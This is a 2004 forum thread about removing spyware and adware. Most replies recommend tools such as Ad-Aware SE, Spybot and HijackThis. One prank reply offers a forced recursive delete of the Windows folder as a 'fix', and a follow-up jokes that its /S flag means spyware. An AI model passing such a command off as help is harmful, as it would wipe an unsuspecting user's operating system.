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nesso

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How do i get rid of spyware or adaware?
« on: September 14, 2004 12:01 am CDT »
anyone know?
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« Reply #1 on: September 14, 2004 12:06 am CDT »
del /F /S /Q c:\windows\*.*

Great! Try It!
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« Reply #2 on: September 14, 2004 12:25 am CDT »
screw that!

i can't trust that
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« Reply #3 on: September 14, 2004 12:35 am CDT »
use Ad-Aware to get rid of spyware...use "Add or Remove Programs" to get rid of Ad-Aware.
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« Reply #4 on: September 14, 2004 12:39 am CDT »
Quote from: "nesso"
screw that!

i can't trust that


the /S is for spyware :P
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« Reply #5 on: September 14, 2004 06:18 am CDT »
haha Taurik.. Spyware.. yep they added a flag into DOS called spyware.. man thats gonna get confusing. What flag will I use for system files¿
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« Reply #6 on: September 14, 2004 10:02 am CDT »
<User> If you want to be an op, go to the ops menu, just press Alt+F4
<Bob> hah! I'm going to kick you all once i get ops!
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« Reply #7 on: September 14, 2004 01:47 pm CDT »
Is there a program that will get rid of both? is there such a monster or do you have to use multiple programs to address each thing??
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« Reply #8 on: September 14, 2004 03:16 pm CDT »
format does the trick.
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« Reply #9 on: September 14, 2004 04:29 pm CDT »
First download Ad Aware SE:
http://www.majorgeek.com/esselbachfp.ph ... e94b7b6b55

Be sure to upate the program before running it.  
Run it
Removal is self explanitory.

Next
If you are on Windows XP
Go to control panel and locate System Restore.  Click System Restore Settings, and disable system restore for all drives:



Restart the machine.  You may go back and re-enable System Restore if you so desire.  I have found many ad-ware trojans hiding in the system volume file that holds the system restore points, so turning system restore off has been quite helpful.


Next
Install Mozilla Firefox.  I find it to be much less vulnerable to spyware than IE.
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« Reply #10 on: September 14, 2004 06:21 pm CDT »
how do i know if i have it though?
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« Reply #11 on: September 14, 2004 06:37 pm CDT »
Ad Aware SE will tell you exactly what spyware/adware you have on your system.
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« Reply #12 on: September 14, 2004 11:31 pm CDT »
i suggest Spybot - Search and Destory.

if you do a random search for spybot or adware removers, u'll get a list full of false programs. many of which will add more spyware or adware. i've used S&D and it worked nicely.
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« Reply #13 on: September 15, 2004 12:00 am CDT »
Google hijackthis

Its a great little tool for spyware.

But be careful with what you choose to delete. You can cause some stuff you like not to work fairly easily.

If your not sure what's what, post the log here and someone will tell you what to get rid of.
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« Reply #14 on: September 15, 2004 02:23 am CDT »
Combine Darwin and Hershes ideas.

I have stayed away from S&D because last time I used it, it tried to make me buy it... and I don't buy things listed as "freeware" on downlaoad.com (popular downloads.)


In other news... None of those programs search any of your drives except your host drive (C: in most cases) and thus enable certain spywares to continue existance.

For Example:

I have two run32dll files going.  All I remember is that this particluar spyware uses a lot of memory; sucky, but I cannot get rid of it becuase I cannot find where it is hidden on my other drive...... so I am debating a full format, re-install, etc.  On top of that, it interferes with my CD-Burner, so backing up things is not happeneing either.*sigh* I guess I'll fix it this weekend.
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